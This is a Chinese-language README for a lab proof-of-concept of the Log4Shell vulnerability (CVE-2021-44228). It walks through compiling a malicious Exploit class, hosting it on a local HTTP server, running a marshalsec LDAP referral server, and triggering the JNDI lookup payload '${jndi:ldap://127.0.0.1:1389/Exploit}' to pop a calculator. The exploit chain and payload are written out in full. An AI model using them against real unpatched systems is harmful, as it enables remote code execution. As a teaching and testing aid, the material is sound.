CVE-2021-44228-Log4Shell-POC

臭名昭著的 Log4j CVE-2021-44228 完整 POC

前置条件

• 从此处下载并安装 Java，可以使用 jdk-8u181。
• 从此处安装 IntelliJ Idea。

POC

• 步骤 1：克隆此仓库。
• 步骤 2：将 Exploit.java 文件移动到另一个文件夹。例如，我在主目录下创建了一个 rce 文件夹。/home/coldfusionx/rce

• 步骤 3：查看 Exploit.java 在这里你可以将远程代码更改为任何内容，在本例中，它会在 Ubuntu 机器上弹出 gnome-calculator。

• 步骤 4：接下来我们需要使用命令 javac Exploit.java 编译 Exploit.java，编译成功后，我们应该会看到生成了一个新文件 Exploit.class。

• 步骤 5：启动一个 python http 服务器来托管 Exploit.class，使用 python3 -m http.server 8888，或者你也可以使用 php 服务器，命令为 php -S 127.0.0.1:8888。

• 步骤 6：将项目文件加载到 IntelliJ Idea 中，让 maven 完成文件索引。 完成后，你的项目应该看起来像这样：

• 步骤 7：要运行项目，我们需要创建一个配置，点击 Add Configuration

1. 选择 `Application`

2. 选择主类

3. 选择 JDK 并应用。

4. 你应该会看到 Log4j Application 已创建，准备运行。

• 步骤 8：接下来我们使用 marshalsec 启动 LDAPRefServer：
• cd marshasec
• 运行 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 来启动 LDAP 服务器，这里的 127.0.0.1:8888 是托管 Exploit.class 的 python 服务器，因此我们指定 /#Exploit

• 步骤 9：根据你的需求编辑 log4j.java 中的 JNDI payload，logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}"); 在本例中，我们加载远程类 Exploit，LDAP 引用服务器会将请求重定向到我们托管恶意 Exploit 类的 python 服务器。

• 步骤 10：运行 Log4j，成功运行后，你应该会看到 gnome 计算器弹出。

查看我对 Log4Shell CVE-2021-44228 的详细分析

参考

• https://nvd.nist.gov/vuln/detail/CVE-2021-44228